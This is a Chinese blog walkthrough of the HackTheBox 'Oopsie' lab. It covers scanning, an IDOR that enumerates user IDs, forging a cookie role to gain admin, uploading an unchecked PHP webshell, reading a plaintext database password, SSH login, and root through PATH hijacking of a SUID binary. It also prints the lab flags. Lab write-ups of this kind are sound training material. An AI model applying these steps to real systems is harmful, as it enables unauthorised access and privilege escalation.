hacker靶场系列之hackthebox--oopsie

oopsie

0x00 前言

某年某月某日夜,解衣欲睡,后倍感无聊,遂起床日个靶场。目标:10.129.243.129

0x01 信息收集

拿到目标之后,二话不说,端口扫描、目录扫描、爬虫三板斧

端口扫描

┌──(root💀kali)-[/usr/local/dirsearch-master]
└─# nmap -sS -F -sV 10.129.243.129
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-22 20:21 CST
Nmap scan report for 10.129.243.129 (10.129.243.129)
Host is up (0.71s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.30 seconds

首先来一波端口扫描,扫描结果发现目标开放了80端口和22端口,80端口为web服务端口,访问一波看看
image

非常简洁的一个页面,神马都没有,能点的都点点也没发现什么可搞的

目录扫描

──(root💀kali)-[/usr/local/dirsearch-master]
└─# python3 dirsearch.py -u http://10.129.243.129/                    

  _|. _ _  _  _  _ _|_    v0.4.2                                                                       
 (_||| _) (/_(_|| (_| )                                                                                
                                                                                                       
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10909

Output File: /usr/local/dirsearch-master/reports/10.129.243.129/-_22-01-22_20-16-19.txt

Error Log: /usr/local/dirsearch-master/logs/errors-22-01-22_20-16-19.log

Target: http://10.129.243.129/
                                                                                                       
[20:16:20] Starting: 
[20:16:26] 301 -  313B  - /js  ->  http://10.129.243.129/js/
[20:16:31] 403 -  279B  - /.ht_wsr.txt                                
[20:16:31] 403 -  279B  - /.htaccess.save
[20:16:31] 403 -  279B  - /.htaccess.bak1
[20:16:31] 403 -  279B  - /.htaccess.sample
[20:16:31] 403 -  279B  - /.htaccess.orig
[20:16:31] 403 -  279B  - /.htaccess_extra
[20:16:31] 403 -  279B  - /.htaccess_orig
[20:16:31] 403 -  279B  - /.htaccess_sc
[20:16:31] 403 -  279B  - /.htaccessOLD
[20:16:31] 403 -  279B  - /.htaccessBAK
[20:16:31] 403 -  279B  - /.htaccessOLD2
[20:16:31] 403 -  279B  - /.htm
[20:16:31] 403 -  279B  - /.html
[20:16:32] 403 -  279B  - /.htpasswds  
[20:16:32] 403 -  279B  - /.htpasswd_test
[20:16:32] 403 -  279B  - /.httr-oauth
[20:16:35] 403 -  279B  - /.php                                       
[20:17:25] 301 -  314B  - /css  ->  http://10.129.243.129/css/                                      
[20:17:33] 301 -  316B  - /fonts  ->  http://10.129.243.129/fonts/                                    
[20:17:37] 301 -  317B  - /images  ->  http://10.129.243.129/images/
[20:17:37] 403 -  279B  - /images/
[20:17:38] 200 -   11KB - /index.php                                                         
[20:17:38] 200 -   11KB - /index.php/login/
[20:17:40] 403 -  279B  - /js/       
[20:18:03] 403 -  279B  - /server-status/                                              
[20:18:03] 403 -  279B  - /server-status
[20:18:10] 301 -  317B  - /themes  ->  http://10.129.243.129/themes/                     
[20:18:10] 403 -  279B  - /themes/
[20:18:12] 301 -  318B  - /uploads  ->  http://10.129.243.129/uploads/                    
[20:18:13] 403 -  279B  - /uploads/       
                                                                                                
Task Completed 

dirsearch扫完目录发现了几个点可以尝试去看看,第一个是/index.php和/index.php/login返回200,有可能是存在登录点;第二个是存在几个目录例如/images,uploads等,这个uploads有可能是个上传文件后存储的目录,先拿小本本记下来。

访问下/index.php和/index.php/login,发现并没有登陆页面,扫兴。

爬虫扫描

image

使用burp的爬虫功能爬了一下,发现存在个/cdn-cgi/login的路径,这有可能是个登录点,访问下看看

image

嘿嘿嘿,登陆点果然在这。

0x02 web权限获取

看到登录页面后,可以测试下有没有防暴力破解的机制,没有的话可以暴力破解进行登录。

不过我不是很喜欢爆破这种手段的,再看看发现登录页有一个login as guest,点一下进去

image

发现进入了admin.php

随便点点其他功能如account,uploads等等。

account功能测试

image

在account里可以看到guest用户的access ID,name,email等信息,此时url中的id值吸引了我的注意力,会不会id值和账户信息有什么关系呢?
image

手动改了几个值发现,改了id值可以看见其他用户的信息,存在水平越权问题

嘿嘿嘿,burp遍历一波id值,发现了几个length长度不一样的,很有可能是存在的用户

image

访问一波,偷个信息,可以看到得到了admin和super admin的access id值,此时还不太清楚这个是干啥用的。

id AccessID Name Email
1 34322 admin admin@megacorp.com
2 2233 guest guest@megacorp.com
4 8832 john john@tafcz.co.uk
13 57633 Peter peter@qpic.co.uk
23 28832 Rafol tom@rafol.co.uk
30 86575 super admin superadmin@megacorp.com

uploads功能测试

测完account功能,接下来测一下uploads功能,先用guest账户看下这个功能

image

跟我说需要super admin的权限,哼!

GET /cdn-cgi/login/admin.php?content=accounts&id=2 HTTP/1.1

Host: 10.129.243.129

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://10.129.243.129/cdn-cgi/login/admin.php

Cookie: user=2233; role=guest

Upgrade-Insecure-Requests: 1

看下自己的http请求发现,cookie字段的值挺有意思,明文传输没加密,看这个user字段的值和access id值一样,role权限值和用户名一样,终于知道access id值是干嘛用的了,测一下垂直越权。

image

admin权限和super 权限都可以使用文件上传的功能。

image

上传个webshell.php,发现根本没对文件类型等做检查,也不需要绕过之类的,直接上传成功

image

web权限获取

由于返回的数据包里没有带上传路径,我们可以根据目录扫描时候扫出的目录为基础进行递归目录扫描。

这里我遇到了一个大坑,hackthebox服务器在我上传上去1.jpg和webshell.php后,过了两分钟左右直接清除了这俩文件,当我扫文件扫出1.jpg的时候发现,根本不是我传上去那张

image

后又重新上传haha.php,直接上godzila连接成功。

image

image

这里服务器删马删的很快,根本来不及做过多的操作,建议其他小伙伴,将上传的数据包在burp里repeater,重放后就可以继续连了。

0x03 普通用户权限获取

在拿到了webshell的权限后,在服务器里简单翻了翻,发现在/var/www/html/cdn-cgi/login目录下存在db.php,文件内容如下:
image

<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

再看下/etc/passwd

/usr/bin >cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
robert:x:1000:1000:robert:/home/robert:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

robert是一个系统账户,既然获得了密码,那直接ssh连了,省的webshell老断

┌──(root💀kali)-[~/桌面]
└─# ssh -D 7000 robert@10.129.243.129
The authenticity of host '10.129.243.129 (10.129.243.129)' can't be established.
ECDSA key fingerprint is SHA256:JmIUfqU8/Xv/1Fy/m/Clya5iX2K756n/EGu0eeJb5xc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.243.129' (ECDSA) to the list of known hosts.
robert@10.129.243.129's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jan 22 15:23:19 UTC 2022

  System load:  0.0               Processes:             112
  Usage of /:   40.7% of 6.76GB   Users logged in:       0
  Memory usage: 10%               IP address for ens160: 10.129.243.129
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

275 packages can be updated.
222 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Jan 25 10:20:16 2020 from 172.16.118.129
robert@oopsie:~$ whoami
robert
robert@oopsie:~$ 

0x04 提权

拿到普通用户权限后,看了一下id值发现该用户属于bugtracker组里

robert@oopsie:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

找到和组名相同的文件

find / -name bugtracker 2>/dev/null

查看下此文件的权限,拥有者是root,并且具有s(SUID,Set UID)的权限,s权限设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。

robert@oopsie:~$ ls -al /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker

有了提权的基础,接下来执行下这个文件看下,发现该文件是使用cat命令读取root目录的文件信息的。

robert@oopsie:~$ /usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 24
---------------

cat: /root/reports/24: No such file or directory

那接下来的思路就可以确定了,就是让文件执行cat的时候不去执行cat原本的命令,而是去执行/bin/bash就可以提权成功了。

改变当前目录的path

robert@oopsie:~$ export Path=/tmp:$PATH
robert@oopsie:~$ export PATH=/tmp:$PATH
robert@oopsie:~$ export
declare -x HOME="/home/robert"
declare -x LANG="en_US.UTF-8"
declare -x LESSCLOSE="/usr/bin/lesspipe %s %s"
declare -x LESSOPEN="| /usr/bin/lesspipe %s"
declare -x LOGNAME="robert"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
declare -x MAIL="/var/mail/robert"
declare -x OLDPWD
declare -x PATH="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
declare -x PWD="/home/robert"
declare -x Path="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="10.10.16.47 40842 22"
declare -x SSH_CONNECTION="10.10.16.47 40842 10.129.243.129 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="robert"
declare -x XDG_DATA_DIRS="/usr/local/share:/usr/share:/var/lib/snapd/desktop"
declare -x XDG_RUNTIME_DIR="/run/user/1000"
declare -x XDG_SESSION_ID="49"

在tmp目录下将/bin/bash写进cat里,并赋予可执行权限,这样bugtracker执行cat的时候就会执行/bin/bash了

robert@oopsie:~$ cd /tmp
robert@oopsie:/tmp$ echo '/bin/bash' > cat
robert@oopsie:/tmp$ chmod +x cat
robert@oopsie:/tmp$ ls -al cat
-rwxrwxr-x 1 robert robert 10 Jan 22 15:38 cat
robert@oopsie:/tmp$ /usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 3
---------------

root@oopsie:/tmp# 

运行后可以看到已经获得root用户权限。

0x05 flag获取

普通用户flag:

root@oopsie:~# ls
user.txt
root@oopsie:~# cat user.txt
root@oopsie:~# more user.txt
f2c74ee8db7983851ab2a96a44eb7981
root@oopsie:~# 

root用户flag:

root@oopsie:~# cd /root
root@oopsie:/root# ls
reports  root.txt
root@oopsie:/root# more root.txt
af13b0bee69f8a877c3faf667f7beacf
posted @ 2022-01-23 14:20  墨宸  阅读(79)  评论(0)    收藏  举报